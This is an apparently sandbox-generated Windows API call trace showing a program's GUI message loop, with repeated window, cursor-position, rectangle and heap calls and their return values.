[0223.760] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0223.760] GetCurrentThreadId () returned 0x4e0
[0223.760] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0224.072] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0224.072] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0224.072] GetCapture () returned 0x0
[0224.072] WindowFromPoint (Point=0x331) returned 0x1013a
[0224.072] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0224.072] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0224.072] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0224.072] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0224.072] GetCurrentThreadId () returned 0x4e0
[0224.072] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0224.384] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0224.384] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0224.384] GetCapture () returned 0x0
[0224.384] WindowFromPoint (Point=0x331) returned 0x1013a
[0224.384] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0224.384] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0224.384] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0224.384] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0224.384] GetCurrentThreadId () returned 0x4e0
[0224.384] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0224.696] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0224.696] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0224.696] GetCapture () returned 0x0
[0224.696] WindowFromPoint (Point=0x331) returned 0x1013a
[0224.696] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0224.696] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0224.696] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0224.696] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0224.696] GetCurrentThreadId () returned 0x4e0
[0224.696] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0225.008] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0225.008] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0225.008] GetCapture () returned 0x0
[0225.008] WindowFromPoint (Point=0x331) returned 0x1013a
[0225.008] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0225.008] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0225.008] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0225.008] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0225.008] GetCurrentThreadId () returned 0x4e0
[0225.008] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0225.320] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0225.320] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0225.320] GetCapture () returned 0x0
[0225.320] WindowFromPoint (Point=0x331) returned 0x1013a
[0225.320] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0225.320] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0225.320] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0225.320] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0225.320] GetCurrentThreadId () returned 0x4e0
[0225.320] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0225.632] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0225.632] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0225.632] GetCapture () returned 0x0
[0225.632] WindowFromPoint (Point=0x331) returned 0x1013a
[0225.632] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0225.632] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0225.632] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0225.632] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0225.632] GetCurrentThreadId () returned 0x4e0
[0225.632] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0225.944] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0225.944] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0225.944] GetCapture () returned 0x0
[0225.944] WindowFromPoint (Point=0x331) returned 0x1013a
[0225.944] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0225.944] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0225.944] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0225.944] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0225.944] GetCurrentThreadId () returned 0x4e0
[0225.944] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0226.256] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0226.256] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0226.256] GetCapture () returned 0x0
[0226.256] WindowFromPoint (Point=0x331) returned 0x1013a
[0226.256] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0226.256] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0226.256] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0226.256] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0226.256] GetCurrentThreadId () returned 0x4e0
[0226.256] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0226.568] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0226.568] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0226.568] GetCapture () returned 0x0
[0226.568] WindowFromPoint (Point=0x331) returned 0x1013a
[0226.568] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0226.568] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0226.568] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0226.568] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0226.568] GetCurrentThreadId () returned 0x4e0
[0226.568] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0226.880] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0226.880] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0226.880] GetCapture () returned 0x0
[0226.880] WindowFromPoint (Point=0x331) returned 0x1013a
[0226.880] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0226.880] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0226.880] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0226.880] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0226.880] GetCurrentThreadId () returned 0x4e0
[0226.880] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0227.192] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0227.192] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0227.192] GetCapture () returned 0x0
[0227.192] WindowFromPoint (Point=0x331) returned 0x1013a
[0227.192] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0227.192] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0227.192] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0227.192] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0227.192] GetCurrentThreadId () returned 0x4e0
[0227.192] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0227.514] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0227.514] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0227.515] GetCapture () returned 0x0
[0227.515] WindowFromPoint (Point=0x331) returned 0x1013a
[0227.515] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0227.515] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0227.515] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0227.515] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0227.515] GetCurrentThreadId () returned 0x4e0
[0227.515] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0227.816] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0227.816] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0227.816] GetCapture () returned 0x0
[0227.816] WindowFromPoint (Point=0x331) returned 0x1013a
[0227.816] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0227.816] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0227.816] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0227.816] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0227.816] GetCurrentThreadId () returned 0x4e0
[0227.816] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0228.128] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0228.128] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0228.128] GetCapture () returned 0x0
[0228.128] WindowFromPoint (Point=0x331) returned 0x1013a
[0228.128] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0228.128] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0228.128] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0228.128] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0228.128] GetCurrentThreadId () returned 0x4e0
[0228.128] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0228.440] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0228.440] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0228.440] GetCapture () returned 0x0
[0228.440] WindowFromPoint (Point=0x331) returned 0x1013a
[0228.440] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0228.440] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0228.440] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0228.440] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0228.440] GetCurrentThreadId () returned 0x4e0
[0228.440] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0228.752] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0228.752] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0228.752] GetCapture () returned 0x0
[0228.752] WindowFromPoint (Point=0x331) returned 0x1013a
[0228.752] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0228.752] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0228.752] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0228.752] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0228.752] GetCurrentThreadId () returned 0x4e0
[0228.752] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0229.067] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0229.067] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0229.067] GetCapture () returned 0x0
[0229.067] WindowFromPoint (Point=0x331) returned 0x1013a
[0229.067] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0229.067] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0229.067] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0229.067] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0229.067] GetCurrentThreadId () returned 0x4e0
[0229.067] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0229.376] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0229.376] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0229.376] GetCapture () returned 0x0
[0229.376] WindowFromPoint (Point=0x331) returned 0x1013a
[0229.376] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0229.376] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0229.376] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0229.376] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0229.376] GetCurrentThreadId () returned 0x4e0
[0229.376] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0229.688] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0229.688] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0229.688] GetCapture () returned 0x0
[0229.688] WindowFromPoint (Point=0x331) returned 0x1013a
[0229.688] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0229.688] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0229.688] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0229.688] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0229.688] GetCurrentThreadId () returned 0x4e0
[0229.688] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0230.000] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0230.000] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0230.000] GetCapture () returned 0x0
[0230.000] WindowFromPoint (Point=0x331) returned 0x1013a
[0230.000] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0230.000] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0230.000] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0230.000] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0230.000] GetCurrentThreadId () returned 0x4e0
[0230.000] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0230.312] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0230.312] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0230.312] GetCapture () returned 0x0
[0230.313] WindowFromPoint (Point=0x331) returned 0x1013a
[0230.313] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0230.313] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0230.313] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0230.313] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0230.313] GetCurrentThreadId () returned 0x4e0
[0230.313] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0230.624] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0230.624] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0230.624] GetCapture () returned 0x0
[0230.624] WindowFromPoint (Point=0x331) returned 0x1013a
[0230.624] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0230.624] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0230.624] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0230.624] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0230.624] GetCurrentThreadId () returned 0x4e0
[0230.624] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0230.936] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0230.936] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0230.936] GetCapture () returned 0x0
[0230.936] WindowFromPoint (Point=0x331) returned 0x1013a
[0230.936] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0230.936] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0230.936] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0230.936] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0230.936] GetCurrentThreadId () returned 0x4e0
[0230.936] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0231.248] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0231.248] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0231.248] GetCapture () returned 0x0
[0231.248] WindowFromPoint (Point=0x331) returned 0x1013a
[0231.248] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0231.248] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0231.249] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0231.249] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0231.249] GetCurrentThreadId () returned 0x4e0
[0231.249] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0231.560] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0231.560] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0231.560] GetCapture () returned 0x0
[0231.560] WindowFromPoint (Point=0x331) returned 0x1013a
[0231.560] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0231.560] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0231.560] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0231.560] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0231.560] GetCurrentThreadId () returned 0x4e0
[0231.560] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0231.867] NtdllDefWindowProc_W () returned 0xc
[0231.868] NtdllDefWindowProc_W () returned 0x1
[0231.868] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0231.868] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0231.868] NtdllDefWindowProc_W () returned 0x0
[0231.869] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0231.872] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0231.872] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0231.872] GetCapture () returned 0x0
[0231.872] WindowFromPoint (Point=0x2f9) returned 0x1012c
[0231.872] NtdllDefWindowProc_W () returned 0xc
[0231.872] IsChild (hWndParent=0x1013a, hWnd=0x1012c) returned 0
[0231.872] GetMessageTime () returned 155330
[0231.872] GetMessagePos () returned 0x3502f9
[0231.872] KillTimer (hWnd=0x10136, uIDEvent=0x2008) returned 1
[0231.872] GetCapture () returned 0x0
[0231.872] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5cc | out: lpPoint=0x1cf5cc) returned 1
[0231.873] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0231.873] GetCurrentThreadId () returned 0x4e0
[0231.873] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0231.873] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0231.873] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0231.873] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0231.873] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0231.873] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0231.873] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0231.873] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0231.873] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0231.873] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x1cf6c4 | out: plResult=0x1cf6c4) returned 0x1
[0231.874] NtdllDefWindowProc_W () returned 0x0
[0231.874] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0231.874] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0235.160] NtdllDefWindowProc_W () returned 0x1
[0235.161] NtdllDefWindowProc_W () returned 0x1
[0235.161] NtdllDefWindowProc_W () returned 0x1
[0235.175] NtdllDefWindowProc_W () returned 0x1
[0235.175] NtdllDefWindowProc_W () returned 0x1
[0235.175] NtdllDefWindowProc_W () returned 0x1
[0241.939] NtdllDefWindowProc_W () returned 0xa
[0241.940] NtdllDefWindowProc_W () returned 0x1
[0241.941] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0241.941] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0241.941] NtdllDefWindowProc_W () returned 0x0
[0241.941] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0252.060] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0252.060] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0252.060] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0252.060] PtInRect (lprc=0x1cf5d0, pt=0x371) returned 1
[0252.060] GetCurrentThreadId () returned 0x4e0
[0252.061] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0252.061] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0252.061] GetMessageTime () returned 165392
[0252.061] GetMessagePos () returned 0x8b0033
[0252.061] GetCapture () returned 0x0
[0252.061] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0252.061] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0252.061] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0252.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.061] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0252.061] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0252.061] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0252.061] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0252.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0252.062] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
